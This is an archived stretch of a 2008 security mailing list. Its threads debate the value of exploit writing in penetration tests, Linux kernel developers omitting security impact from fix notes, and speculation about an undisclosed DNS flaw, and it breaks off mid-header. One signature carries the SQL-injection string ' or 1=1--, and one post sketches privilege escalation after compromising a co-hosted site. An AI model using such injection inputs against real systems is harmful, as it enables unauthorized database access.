Dai Zovi wrote: ... | Finding and exploiting an 0day vuln in the app server and being able | to call the admin up and tell him that you have a remote SYSTEM shell | on it from the Internet makes the point much better. After they pick | the phone back up, they usually start doing whatever it takes to fix | the problem as soon as possible. | | Without vulnerability exploitation skills, effecting that change would | have required a political battle and I'm distinctly better at | exploitation than politics. Is the person paying your salary better at exploits than getting things done in an org? Are they better at creating crisis than creating culture change? Both problems are common, and I think it's helpful of Dino to point them out. At the same time, I think we need more security people who can get fixes prioritized without the sploit. Adam (Speaking for your employer, not mine. ;) | On Tue, Jul 15, 2008 at 2:38 PM, val smith | wrote: | > I'm going to have to award the point to Thomas here. The scenarios he | > presented are very often what I get myself. Super compressed time | > frame, unlikely to achieve goal so any time I spend developing tools | > or exploits is time I lose achieving the goal. | > | > I've also recently had an app test where I had something like 6 hours. | > There was no way (for me cause I suck) to come up with working exploit | > in that time, but I was able to find half a dozen bugs and report | > them. In this case knowing how to write an exploit wouldn't do me much | > good. | > | > However I'll have to say i've run into maybe 1 place in the world | > where getting access to 1 host didn't get me much. (mac locking on | > ports, 1 time passwords everywhere, no shared admin accounts, or admin | > from console only, lots of vlanning, etc.) | > | > Cheating is what its all about. I have this think I call the cooking | > show hack. You know in a cooking show how they make the food and put | > it in the oven then pull one out already cooked and try it. Same thing | > but with rootshell :) | > | > Fuzzy kiddies just sounds wrong man, just wrong. | > | > V. | > | > On Mon, Jul 14, 2008 at 6:18 AM, Thomas Ptacek wrote: | >>> Anyone can fire a fuzer, find a bug and tell their client about how | >>> exploitable it is. | >>> People then will talk about ret-to-libc and malloc tricks that really | >>> don't work anymore in modern systems. | >> | >> This is NO DOUBT true. It is obviously much HARDER to exploit modern | >> memory corruption flaws than it is to find them. Respect, yo. S'all | >> love in here. | >> | >> The problem is, it is not MORE VALUABLE to exploit memory corruption | >> flaws than it is to find them. Consider two scenarios: | >> | >> (1) A shrink-wrap software pen test, for a vendor or a customer --- | >> the target is one application. You have 5 days. Unless you think you | >> can sweep 500,000 lines of C code clean of vulnerabilities in 40 | >> hours, an hour spent on exploit dev is an hour not spent finding | >> vulnerabilities. | >> | >> (2) A network penetration test. You have 5 days. Unless you have found | >> the zero enterprises in the world where access to their network | >> doesn't immediately offer up 30 different mass casualty scenarios, an | >> hour spent on exploit dev is an hour not spent breaking into systems. | >> | >> We could go back and forth on (2) --- no doubt there are NPT's where | >> being able to bust CreateProcess in some sleazy Windows backup | >> software is going to win the game for you (there are also NPTs where | >> the client says, "tell me about the zero-day mass casualty exploits | >> you could have run, but don't stop testing until you get in without | >> cheating"). | >> | >> And another thing: we all know about the "fuzz kiddies", but that | >> doesn't make all vulnerability research a matter of aiming /dev/random | >> at a socket and writing an advisory on the xor ebx,ebx; mov eax, [ebx] | >> findings. Plenty of people cheat at writing exploits too. | >> _______________________________________________ | >> Dailydave mailing list | >> Dailydave at lists.immunitysec.com | >> http://lists.immunitysec.com/mailman/listinfo/dailydave | >> | > | > | > | > -- | > ****************************************** | > * Val Smith | > * CTO Offensive Computing, LLC | > * http://www.offensivecomputing.net | > ******************************************* | > _______________________________________________ | > Dailydave mailing list | > Dailydave at lists.immunitysec.com | > http://lists.immunitysec.com/mailman/listinfo/dailydave | > | _______________________________________________ | Dailydave mailing list | Dailydave at lists.immunitysec.com | http://lists.immunitysec.com/mailman/listinfo/dailydave From shirkdog_list at hotmail.com Wed Jul 16 15:22:29 2008 From: shirkdog_list at hotmail.com (M. Shirk) Date: Wed, 16 Jul 2008 15:22:29 -0400 Subject: [Dailydave] [Full-disclosure] Linux's unofficial security-through-coverup policy In-Reply-To: <20080716134437.GA8428@grsecurity.net> References: <20080716134437.GA8428@grsecurity.net> Message-ID: In reference to this: http://article.gmane.org/gmane.linux.kernel/706950 There is this: http://img136.imageshack.us/img136/7451/poster68251050mx9.jpg Shirkdog ' or 1=1-- http://www.shirkdog.us > Date: Wed, 16 Jul 2008 09:44:37 -0400 > To: dailydave at lists.immunitysec.com > From: spender at grsecurity.net > CC: full-disclosure at lists.grok.org.uk > Subject: [Full-disclosure] Linux's unofficial security-through-coverup policy > > Hi all, > > I doubt many of you are following the "discussions" (if they can be > called that) that have been going on on LWN for the past couple weeks > regarding security fixes being intentionally covered up by the Linux > kernel developers and -stable maintainers. Here are some references: > > http://lwn.net/Articles/285438/ > http://lwn.net/Articles/286263/ > http://lwn.net/Articles/287339/ > http://lwn.net/Articles/288473/ > http://lwn.net/Articles/289805/ > > The Linux kernel has a formal policy in Documentation/SecurityBugs which > states under Section 2 Disclosure: > "We prefer to fully disclose the bug as soon as possible." > > However, their policy in reality is quite different, as you can see for > yourself in the "discussion" going on now on LKML: > > http://marc.info/?t=121507404600023&r=1&w=2 > > Some choice quotes from Linus that reflect how sad the current state is: > http://marc.info/?l=linux-kernel&m=121617056910384&w=2 > (on commenting about what he would allow to be included in a commit > message) > "I literally draw the line at anything that is simply greppable for. If > it's not a very public security issue already, I don't want a simple > "git log + grep" to help find it." > > http://marc.info/?l=linux-kernel&m=121613851521898&w=2 > (when talking about the security backports Linux vendors provide for > customers) > "And they mostly do a crap job at it, only focusing on a small > percentage (the ones that were considered to be "big issues")" > > They seem to have the impression that people who find an exploit kernel > vulnerabilities rely on the commit messages fixing the vulnerability > including some mention of security. As it should be clear to anyone > actually involved in the security community, or anyone who has ever > written an exploit (particularly for the myriad silently fixed > vulnerabilities in Linux), this is far from reality. The people who > *do* rely on these messages and announcements however are the smaller > distributions and individual users. Yet Linus et al believe they're > helping you by pulling the wool over your eyes regarding the exploitable > vulnerabilities in their OS. > > To illustrate the point, in the 2.6.25.10 kernel, the following fix was > included with the commit message of: > Roland McGrath (1): > x86_64 ptrace: fix sys32_ptrace task_struct leak > > The kernel was released with no mention of security vulnerabilities in > the announcement, only "assorted bugfixes". > > Put simply, it only took about an hour or so to develop a PoC for this > exploitable vulnerability which affects 64bit x86_64 kernels since > January. So since the time of the fix itself (or even before that if > someone spotted it before the kernel developers did themselves) users > have been at risk. Yet in the imaginary world they live in, these > kernel developers think they're protecting you from that risk by not > telling you what you're vulnerable to. > > Please let them know what you think of their policy of non-disclosure > and coverups. I hope someone also educates them on their ridiculous > notion of "untrusted local users" like Greg uses in his announcement of > the 2.6.25.11 kernel: > http://lwn.net/Articles/289804/ > > If you remain complacent about the state of affairs, you're only > enabling them to continue their current misguided foolishness. > > -Brad _________________________________________________________________ Stay in touch when you're away with Windows Live Messenger. http://www.windowslive.com/messenger/overview.html?ocid=TXT_TAGLM_WL_messenger2_072008 -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.immunitysec.com/pipermail/dailydave/attachments/20080716/537d05b9/attachment-0001.htm From spender at grsecurity.net Wed Jul 16 17:47:35 2008 From: spender at grsecurity.net (Brad Spengler) Date: Wed, 16 Jul 2008 17:47:35 -0400 Subject: [Dailydave] [Full-disclosure] Linux's unofficial security-through-coverup policy In-Reply-To: <29111.1216238817@turing-police.cc.vt.edu> References: <20080716134437.GA8428@grsecurity.net> <29111.1216238817@turing-police.cc.vt.edu> Message-ID: <20080716214735.GA16371@grsecurity.net> Valdis, I hope you don't expect me to take you or your reply seriously. You're the village idiot of the full-disclosure list; you talk a lot and provide a lot of great entertainment for many of us at the beginning of our workday, but don't really contribute anything useful. > So tell me Brad - if Roland fixed a bug, *and didn't even realize it was > a security-exploitable* issue, how do you propose we proceed? If you had actually bothered to read any of the links I included in my mail (I included them for a reason, not just to take up space), you wouldn't have asked this question. > But you know what? *IT* *DOESN'T* *ACTUALLY* *MATTER* *IN* *THE* *REAL* *WORLD*. > Just yesterday, I was talking on IRC to a rather clued individual, who was > still running 2.6.18 or so - because he had mission-critical custom patches > that hadn't been migrated to 2.6.25 yet. Judging your intellectual ability by the quality of your posts, Valdis, I'm sure you associate yourself with some real winners. And given your perception of yourself as a 'clued' individual, I'm sure this guy was of of equally exceptional calibre. I'd say that this individual's choice to use a kernel tree which introduces nearly 50MB of source code changes every 3 months on a mission critical system probably wasn't the brightest. Asking the developers to stop intentionally omitting security information they're aware of is not too much to ask. They have a written policy that they've been acting in direct opposition to. Since they've made it clear they don't understand "full-disclosure" in the way the rest of the world understands it, and their real policy matches that of what's considered "non-disclosure," we're asking them to change their written policy so that everyone is clear on what their position on security issues are. If you read any of the links, you'd also see what the 2.4 maintainer has to say about obfuscation of security issues: I don't like obfuscation at all WRT security issues, it does far more harm than good because it reduces the probability to get them picked and fixed by users, maintainers, distro packagers, etc... (http://lkml.org/lkml/2008/6/10/452) -Brad -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.immunitysec.com/pipermail/dailydave/attachments/20080716/d2203d37/attachment.pgp From spender at grsecurity.net Wed Jul 16 18:01:47 2008 From: spender at grsecurity.net (Brad Spengler) Date: Wed, 16 Jul 2008 18:01:47 -0400 Subject: [Dailydave] [Full-disclosure] Linux's unofficial security-through-coverup policy In-Reply-To: <33337.1216243821@turing-police.cc.vt.edu> References: <20080716134437.GA8428@grsecurity.net> <33337.1216243821@turing-police.cc.vt.edu> Message-ID: <20080716220146.GB16371@grsecurity.net> Valdis, Please try to stay consistent with your own arguments. If you defeat them yourself barely into your third paragraph, you don't give me much to do! To summarize: > have any untrusted local users - for instance, my laptop. The only users > on it are me, myself, and I<, and the guy that owned my webserver, or the guy that owned my email client, or the guy that owned my audio player, or the guy that owned my video player, or the guy that owned my web browser, or the guy that owned my FTP client, or the guy that owned my PDF reader, or the guy that owned my office application> You're a very trusting individual! This is exactly why telling someone to update if they have any "untrusted local users" just doesn't make any sense since it misleads a majority of users. A better replacement would be "if your machine is network-connected." How do you own a website if you can't break into it directly? Find out what other websites are hosted on the same machine, break into one of them, then locally escalate privileges, giving you access to all the websites hosted on the machine. If you don't think this happens, you've got your head in the sand and honestly should just give up having anything to do with security. -Brad -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.immunitysec.com/pipermail/dailydave/attachments/20080716/adb05ed3/attachment.pgp From joanna at invisiblethings.org Wed Jul 16 08:36:27 2008 From: joanna at invisiblethings.org (Joanna Rutkowska) Date: Wed, 16 Jul 2008 14:36:27 +0200 Subject: [Dailydave] Immunity Certified Network Offense Professional In-Reply-To: References: <487773D2.7010803@immunityinc.com> <4877A68E.20007@thievco.com> <1df0a410807111349g22138dcbl584c00e237f82c6c@mail.gmail.com> <48790664.8010108@immunityinc.com> <1df0a410807121847l75106312q4ff8491abd8ec23e@mail.gmail.com> <1f8291090807131343i215591dfnb73409f2f59fe388@mail.gmail.com> <1df0a410807131914m3737fa8blfb96b57d9a5106c7@mail.gmail.com> <487AFEF3.7030209@fibertel.com.ar> <1df0a410807140518g5918d551r3ca67d233aba96db@mail.gmail.com> Message-ID: <487DEB4B.7090007@invisiblethings.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Maybe the problem is in agreeing to do the pentesing/security consulting work of an app in just 6 hours? Maybe people should realize that security consulting is a bit different then working in a factory? I know, I know, now I'm gonna hear all the complains of how the market demands the above and how we all can't do anything about it. The usual excuse, which I personally don't buy. Ok, gonna take my afternoon nap now :) joanna. ps. anybody has any experience with using cscout? val smith wrote: | I'm going to have to award the point to Thomas here. The scenarios he | presented are very often what I get myself. Super compressed time | frame, unlikely to achieve goal so any time I spend developing tools | or exploits is time I lose achieving the goal. | | I've also recently had an app test where I had something like 6 hours. | There was no way (for me cause I suck) to come up with working exploit | in that time, but I was able to find half a dozen bugs and report | them. In this case knowing how to write an exploit wouldn't do me much | good. | | However I'll have to say i've run into maybe 1 place in the world | where getting access to 1 host didn't get me much. (mac locking on | ports, 1 time passwords everywhere, no shared admin accounts, or admin | from console only, lots of vlanning, etc.) | | Cheating is what its all about. I have this think I call the cooking | show hack. You know in a cooking show how they make the food and put | it in the oven then pull one out already cooked and try it. Same thing | but with rootshell :) | | Fuzzy kiddies just sounds wrong man, just wrong. | | V. | | On Mon, Jul 14, 2008 at 6:18 AM, Thomas Ptacek wrote: |>> Anyone can fire a fuzer, find a bug and tell their client about how |>> exploitable it is. |>> People then will talk about ret-to-libc and malloc tricks that really |>> don't work anymore in modern systems. |> This is NO DOUBT true. It is obviously much HARDER to exploit modern |> memory corruption flaws than it is to find them. Respect, yo. S'all |> love in here. |> |> The problem is, it is not MORE VALUABLE to exploit memory corruption |> flaws than it is to find them. Consider two scenarios: |> |> (1) A shrink-wrap software pen test, for a vendor or a customer --- |> the target is one application. You have 5 days. Unless you think you |> can sweep 500,000 lines of C code clean of vulnerabilities in 40 |> hours, an hour spent on exploit dev is an hour not spent finding |> vulnerabilities. |> |> (2) A network penetration test. You have 5 days. Unless you have found |> the zero enterprises in the world where access to their network |> doesn't immediately offer up 30 different mass casualty scenarios, an |> hour spent on exploit dev is an hour not spent breaking into systems. |> |> We could go back and forth on (2) --- no doubt there are NPT's where |> being able to bust CreateProcess in some sleazy Windows backup |> software is going to win the game for you (there are also NPTs where |> the client says, "tell me about the zero-day mass casualty exploits |> you could have run, but don't stop testing until you get in without |> cheating"). |> |> And another thing: we all know about the "fuzz kiddies", but that |> doesn't make all vulnerability research a matter of aiming /dev/random |> at a socket and writing an advisory on the xor ebx,ebx; mov eax, [ebx] |> findings. Plenty of people cheat at writing exploits too. |> _______________________________________________ |> Dailydave mailing list |> Dailydave at lists.immunitysec.com |> http://lists.immunitysec.com/mailman/listinfo/dailydave |> | | | -----BEGIN PGP SIGNATURE----- Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkh96zsACgkQORdkotfEW84uawCg5wy798Bypm4lEHe9s5MNbOGJ Qh4AoJmi6ZkT1CT3DtKC6Kq6L4j1S5fk =pxlp -----END PGP SIGNATURE----- From dave at immunityinc.com Thu Jul 17 06:57:57 2008 From: dave at immunityinc.com (Dave Aitel) Date: Thu, 17 Jul 2008 06:57:57 -0400 Subject: [Dailydave] [Full-disclosure] Linux's unofficial security-through-coverup policy In-Reply-To: <20080716220146.GB16371@grsecurity.net> References: <20080716134437.GA8428@grsecurity.net> <33337.1216243821@turing-police.cc.vt.edu> <20080716220146.GB16371@grsecurity.net> Message-ID: <487F25B5.5000105@immunityinc.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I think what Brad and the Pax Team are saying here is that: 1. We hold Linux to a higher standard than a company - we expect the term "open source" to apply to more than just the source code. 2. For that reason, the community finds it discomforting when kernel maintainers know that a patch has a serious security ramification and essentially lie about it by neglecting to put that into the patch comments. That's the sort of behavior we expect from a large commercial entity. 3. This only hurts end users, because the hackers already know about it. If the kernel maintainers had read the Microsoft team's SDL book, they'd probably be more up to speed on these things. :> - -dave Brad Spengler wrote: | Valdis, | | Please try to stay consistent with your own arguments. If you defeat | them yourself barely into your third paragraph, you don't give me much | to do! | | To summarize: | |> have any untrusted local users - for instance, my laptop. The only users |> on it are me, myself, and I<, and the guy that owned my webserver, or | the guy that owned my email client, or the guy that owned my audio | player, or the guy that owned my video player, or the guy that owned my | web browser, or the guy that owned my FTP client, or the guy that owned | my PDF reader, or the guy that owned my office application> | | You're a very trusting individual! | | This is exactly why telling someone to update if they have any | "untrusted local users" just doesn't make any sense since it misleads a | majority of users. A better replacement would be "if your machine is | network-connected." How do you own a website if you can't break into it | directly? Find out what other websites are hosted on the same machine, | break into one of them, then locally escalate privileges, giving you | access to all the websites hosted on the machine. If you don't think | this happens, you've got your head in the sand and honestly should just | give up having anything to do with security. | | -Brad | | ------------------------- | | _______________________________________________ | Dailydave mailing list | Dailydave at lists.immunitysec.com | http://lists.immunitysec.com/mailman/listinfo/dailydave -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFIfyW1tehAhL0gheoRAr4tAJ9rZC6R+mwefYPhh3lnRZdk2O15ZgCfW+Mk 1QvFrE/h52PTxvUUEMY6SUY= =/ydX -----END PGP SIGNATURE----- From no-reply at ekoparty.com.ar Thu Jul 17 01:06:43 2008 From: no-reply at ekoparty.com.ar (ekoparty) Date: Thu, 17 Jul 2008 02:06:43 -0300 Subject: [Dailydave] ekoparty security trainings (2008) announcement Message-ID: <200807170206.43889.no-reply@ekoparty.com.ar> ekoparty 4th edition - www.ekoparty.com.ar Information Security/Insecurity Conference. October 2 and 3, 2008 Ciudad Autonoma de Buenos Aires - Argentina What is ekoparty? It's a one of a kind event in South America; an annual security conference held in Buenos Aires where security specialists from all over Latin America (and beyond) have the chance to get involved with state-of-art techniques, vulnerabilities and tools in a relaxed environment the like of which has not been seen before. This event was born from the IT underground, where Consultants, Security Officers, Researchers, Programmers, Technicians, Sys-admins, Geeks, Ninjas, Pirates and technology enthusiasts get together and enjoy two days of the most important security researches of the year - as well as enjoying some of the best weather on the continent. ekoparty security trainings (2008) announcement * Web Vulnerabilities Discovery & Exploitation - Andr?s Riancho [CYBSEC] * Unethical Hacking - Pablo Sol? [IMMUNITY] * Stack Overflows - Damian Gomez [IMMUNITY] * Hacking and Defending Oracle Databases - Esteban Mart?nez Fay? [ARGENISS] * Unofficial CEH Fast Review - Juan Manuel Garc?a - Course Materials and coffee breaks will be provided for all trainings days. - Trainings attendants have the ekoparty conference ticket included. - All trainings will be dictated in Spanish. Important dates: * September 29th - First EKO Training day * September 30th - Second EKO Training day * October 1st - Third EKO Training day * October 2nd - ekoparty security conference day one * October 3rd - ekoparty security conference day two More Information: http://www.ekoparty.com.ar/en/index.html From sgrubb at redhat.com Thu Jul 17 11:41:19 2008 From: sgrubb at redhat.com (Steve Grubb) Date: Thu, 17 Jul 2008 11:41:19 -0400 Subject: [Dailydave] =?iso-8859-1?q?=5BFull-disclosure=5D_Linux=27s_unoffi?= =?iso-8859-1?q?cial=09security-through-coverup_policy?= In-Reply-To: <487F25B5.5000105@immunityinc.com> References: <20080716134437.GA8428@grsecurity.net> <20080716220146.GB16371@grsecurity.net> <487F25B5.5000105@immunityinc.com> Message-ID: <200807171141.20430.sgrubb@redhat.com> On Thursday 17 July 2008 06:57:57 Dave Aitel wrote: > I think what Brad and the Pax Team are saying here is that: > 1. We hold Linux to a higher standard than a company - we expect the > term "open source" to apply to more than just the source code. > 2. For that reason, the community finds it discomforting when kernel > maintainers know that a patch has a serious security ramification and > essentially lie about it by neglecting to put that into the patch > comments. That's the sort of behavior we expect from a large commercial > entity. Linux is a community which means that it needs people helping out when they see something that no one else is doing. The community is not divided into people inside and outside the community. Everyone can help. Also, security reviews do not have to be confrontational in nature. Instead of following each dot release with something written in a condescending tone, why not start doing this in a more calm tone for each kernel release with a little more explaination that not so technically savvy people understand? Then take the step of submitting the bugs for CVE numbers. Over time I think it would be a valuable reference for admins. IOW, turn the negative that you see into something positive for the community. -Steve From halvar at gmx.de Thu Jul 17 17:09:10 2008 From: halvar at gmx.de (Halvar Flake) Date: Thu, 17 Jul 2008 23:09:10 +0200 Subject: [Dailydave] Speculation Message-ID: <487FB4F6.6090509@gmx.de> Hey all, one question that I forgot: Was it OK to speculate about the DNS problem, or is that considered irresponsible, too ? Cheers, Halvar From tqbf at matasano.com Thu Jul 17 10:57:54 2008 From: tqbf at matasano.com (Thomas Ptacek) Date: Thu, 17 Jul 2008 09:57:54 -0500 Subject: [Dailydave] [Full-disclosure] Linux's unofficial security-through-coverup policy In-Reply-To: <487F25B5.5000105@immunityinc.com> References: <20080716134437.GA8428@grsecurity.net> <33337.1216243821@turing-police.cc.vt.edu> <20080716220146.GB16371@grsecurity.net> <487F25B5.5000105@immunityinc.com> Message-ID: <1df0a410807170757x2ddc6f39l9e08da6c3129c543@mail.gmail.com> But Linux doesn't work like a top-down software project. The downside of that is that if Linus finds out about your vuln, he's either going to (a) ignore it or (b) publish an unattributed fix right away. But the upside is that if you want to run your own response team for Linux with your own rules of engagement, you can do that. If you are credible and people like your rules, you can set the agenda. I'm not sure Linus and Alan are really in a reasonable position to coordinate and clear advisory traffic. There are too many downstream vendors, too many release schedules, and too much political BS. On 7/17/08, Dave Aitel wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I think what Brad and the Pax Team are saying here is that: > 1. We hold Linux to a higher standard than a company - we expect the > term "open source" to apply to more than just the source code. > 2. For that reason, the community finds it discomforting when kernel > maintainers know that a patch has a serious security ramification and > essentially lie about it by neglecting to put that into the patch > comments. That's the sort of behavior we expect from a large commercial > entity. > 3. This only hurts end users, because the hackers already know about it. > > If the kernel maintainers had read the Microsoft team's SDL book, they'd > probably be more up to speed on these things. :> > > - -dave > > > > > Brad Spengler wrote: > | Valdis, > | > | Please try to stay consistent with your own arguments. If you defeat > | them yourself barely into your third paragraph, you don't give me much > | to do! > | > | To summarize: > | > |> have any untrusted local users - for instance, my laptop. The only users > |> on it are me, myself, and I<, and the guy that owned my webserver, or > | the guy that owned my email client, or the guy that owned my audio > | player, or the guy that owned my video player, or the guy that owned my > | web browser, or the guy that owned my FTP client, or the guy that owned > | my PDF reader, or the guy that owned my office application> > | > | You're a very trusting individual! > | > | This is exactly why telling someone to update if they have any > | "untrusted local users" just doesn't make any sense since it misleads a > | majority of users. A better replacement would be "if your machine is > | network-connected." How do you own a website if you can't break into it > | directly? Find out what other websites are hosted on the same machine, > | break into one of them, then locally escalate privileges, giving you > | access to all the websites hosted on the machine. If you don't think > | this happens, you've got your head in the sand and honestly should just > | give up having anything to do with security. > | > | -Brad > | > > | ------------------------- > | > | _______________________________________________ > | Dailydave mailing list > | Dailydave at lists.immunitysec.com > | http://lists.immunitysec.com/mailman/listinfo/dailydave > > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.6 (GNU/Linux) > Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org > > iD8DBQFIfyW1tehAhL0gheoRAr4tAJ9rZC6R+mwefYPhh3lnRZdk2O15ZgCfW+Mk > 1QvFrE/h52PTxvUUEMY6SUY= > =/ydX > -----END PGP SIGNATURE----- > > _______________________________________________ > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave > -- --- Thomas H. Ptacek // matasano security read us on the web: http://www.matasano.com/log From lists at isecom.org Thu Jul 17 17:35:08 2008 From: lists at isecom.org (Pete Herzog) Date: Thu, 17 Jul 2008 23:35:08 +0200 Subject: [Dailydave] Security Vacation Guide Message-ID: <487FBB0C.5040309@isecom.org> Hi, We're feeling summer pretty hard here at ISECOM and thought summer/hacking/vacation - so we put it all together. So we made a security vacation guide! Based on all that stuff we hackers loop about when we worry about our stuff! So ISECOM presents: the Home Security Methodology Vacation Guide! We've been applying the research from the OSSTMM 3.0 methodology into other things like Home Security. So this was just a fun exercise. Basically, it's a mostly thorough checklist of what you can do to make sure the stuff you leave behind is the stuff you come back to after a vacation. And since it's based on the latest security research we've got, you'll find we don't exactly offer the same advice you may get from many security companies or even local law enforcement. Get the Vacation Guide at http://www.isecom.org/ Enjoy and happy vacationing! Sincerely, -pete. -- Pete Herzog - Managing Director - pete at isecom.org ISECOM - Institute for Security and Open Methodologies www.isecom.org - www.osstmm.org www.hackerhighschool.org - www.isestorm.org From anthony.lineberry at gmail.com Thu Jul 17 22:13:25 2008 From: anthony.lineberry at gmail.com (Anthony Lineberry) Date: Thu, 17 Jul 2008 19:13:25 -0700 Subject: [Dailydave] Speculation In-Reply-To: <487FB4F6.6090509@gmx.de> References: <487FB4F6.6090509@gmx.de> Message-ID: Its good that people are raising an eyebrow. Because people shouldn't be able to always just make an unverified claim. But IMO, this situation went over fairly smooth. From the sounds of it, Vendors have been working to get patches released, and the patches are being applied. Cant complain about that at the end of the day. And Dan has a pretty good track record as well. But even he admits that wasn't a good enough excuse and realized that it might have been handled a bit better. -- Anthony Lineberry Sr Software Engineer NeuralIQ, Inc www.neuraliq.com On Thu, Jul 17, 2008 at 2:09 PM, Halvar Flake wrote: > Hey all, > > one question that I forgot: Was it OK to speculate about the DNS > problem, or is that considered irresponsible, too ? > > Cheers, > Halvar > _______________________________________________ > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave > From alex at sotirov.net Thu Jul 17 23:31:56 2008 From: alex at sotirov.net (Alexander Sotirov) Date: Thu, 17 Jul 2008 20:31:56 -0700 Subject: [Dailydave] Speculation In-Reply-To: <487FB4F6.6090509@gmx.de> References: <487FB4F6.6090509@gmx.de> Message-ID: <20080718033156.GA23645@dsl093-068-005.sfo1.dsl.speakeasy.net> On Thu, Jul 17, 2008 at 11:09:10PM +0200, Halvar Flake wrote: > one question that I forgot: Was it OK to speculate about the DNS > problem, or is that considered irresponsible, too ? Only if you believe in a higher power that can hold you responsible for speculating about potentially breaking the Internet with an already patched vulnerability. Alex -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 194 bytes Desc: not available Url : http://lists.immunitysec.com/pipermail/dailydave/attachments/20080717/75ba2155/attachment.pgp From mmaiffret at inveniosecurity.com Fri Jul 18 03:57:27 2008 From: mmaiffret at inveniosecurity.com (Marc Maiffret) Date: Fri, 18 Jul 2008 00:57:27 -0700 Subject: [Dailydave] Speculation In-Reply-To: <487FB4F6.6090509@gmx.de> References: <487FB4F6.6090509@gmx.de> Message-ID: <003101c8e8ab$edbbd220$c9337660$@com> The debate always just boils down to people's opinions on whether or not the "bad guys" would have figured it out with or without help from a conversation on a list like dailydave. I am not sure anyone is ever wrong or right about this as your opinion only becomes valid or invalid not depending on what you do but rather what they do. If someone starts exploiting this DNS flaw tomorrow and it has nothing to do with any of the conversation here and places get owned then maybe we were all not talking or doing enough. However, if everyone is owned tomorrow and it is related to something said here, well then whoever said it will undoubtedly be angrily blogged about by all sorts. Really it is a sad reminder that the current state of the art when it comes to security and the resiliency of our systems has a lot to do with making sure the good guys only talk about things behind closed doors while hoping that bad guys don't figure things out before we can patch. I am happy that lists like Dailydave exist and that there are plenty of people here who are open to discussing things regardless of mistaken political correctness. Marc Maiffret Invenio Security Security Services & Training http://www.inveniosecurity.com > -----Original Message----- > From: dailydave-bounces at lists.immunitysec.com [mailto:dailydave- > bounces at lists.immunitysec.com] On Behalf Of Halvar Flake > Sent: Thursday, July 17, 2008 2:09 PM > To: dailydave at lists.immunityinc.com > Subject: [Dailydave] Speculation > > Hey all, > > one question that I forgot: Was it OK to speculate about the DNS > problem, or is that considered irresponsible, too ? > > Cheers, > Halvar > _______________________________________________ > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave From taosecurity at gmail.com Fri Jul 18 10:34:37 2008 From: taosecurity at gmail.com (Richard Bejtlich) Date: Fri, 18 Jul 2008 10:34:37 -0400 Subject: [Dailydave] Speculation In-Reply-To: <487FB4F6.6090509@gmx.de> References: <487FB4F6.6090509@gmx.de> Message-ID: <120ef0530807180734o68f8b2b7ue3c10848da976ade@mail.gmail.com> On Thu, Jul 17, 2008 at 5:09 PM, Halvar Flake wrote: > Hey all, > > one question that I forgot: Was it OK to speculate about the DNS > problem, or is that considered irresponsible, too ? > > Cheers, > Halvar Halvar, I think requests not to speculate are like Cisco tearing pages from Black Hat Briefings slide books, or Barbra Streisand suing the California Coastal Records Project for imaging her home. They invite the very attention they seek to avoid. Those of us outside the research community who have to advise management cannot tell our executives "trust Dan." We have to be able to weigh costs vs benefits, implementation details, and the like. I'm glad people here and elsewhere have tried to figure this out, since it gives details to guide my recommendations. Thank you, Richard From Valdis.Kletnieks at vt.edu Fri Jul 18 10:43:58 2008 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Fri, 18 Jul 2008 10:43:58 -0400 Subject: [Dailydave] [Full-disclosure] Linux's unofficial security-through-coverup policy In-Reply-To: Your message of "Thu, 17 Jul 2008 09:57:54 CDT." <1df0a410807170757x2ddc6f39l9e08da6c3129c543@mail.gmail.com> References: <20080716134437.GA8428@grsecurity.net> <33337.1216243821@turing-police.cc.vt.edu> <20080716220146.GB16371@grsecurity.net> <487F25B5.5000105@immunityinc.com> <1df0a410807170757x2ddc6f39l9e08da6c3129c543@mail.gmail.com> Message-ID: <19323.1216392238@turing-police.cc.vt.edu> On Thu, 17 Jul 2008 09:57:54 CDT, Thomas Ptacek said: > I'm not sure Linus and Alan are really in a reasonable position to > coordinate and clear advisory traffic. There are too many downstream > vendors, too many release schedules, and too much political BS. Not to mention that Linus and Andrew are basically drowning in updates, and are quite busy enough without trying to coordinate advisories. I did a 'git pull' of Linus's tree at 22:15PM 07/15. It's now 10:30AM 07/18. 508 files changed, 56962 insertions(+), 16737 deletions(-) That's *3 days* of development. Quite likely, that 56K new lines will have something that turns out to be a security bug. Possibly 3 or 4. On the other hand, by the time the merge window for 2.6.27 closes in 2 weeks, there will be several hundred thousand lines of updates, and probably 150 to 200 regressions. And Linus's point is that many of those regressions matter *more* than most security bugs, because they can totally hose your system too - corrupt filesystems, cause system hangs and lockups, poor performance, and who knows what else. The other issue that *nobody* seems to want to address is that a *lot* of bugfixes are, at the time, considered simply bugfixes. If anything, there are *more* bugfixes that are realized to be security-related after release than bugfixes that are known at release time to be issues. So we release 2.6.N with 4 known security fixes, and 4,934 other patches, of which 15 aren't recognized as security until weeks/months in the future. Even if they flag those 4 in the release notes, what do you propose they do with those other 15? (That's even supposing we can come up with a reasonable and usable definition of "security-related bug". By one standard, almost every oops or panic would count as DoS bugs, by other standards those are just bugs that need fixing because probably 20 times as many sites will trip over them by accident as will get hit maliciously by them.) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.immunitysec.com/pipermail/dailydave/attachments/20080718/1d2481c0/attachment.pgp From vixie at isc.org Fri Jul 18 11:07:13 2008 From: vixie at isc.org (Paul Vixie) 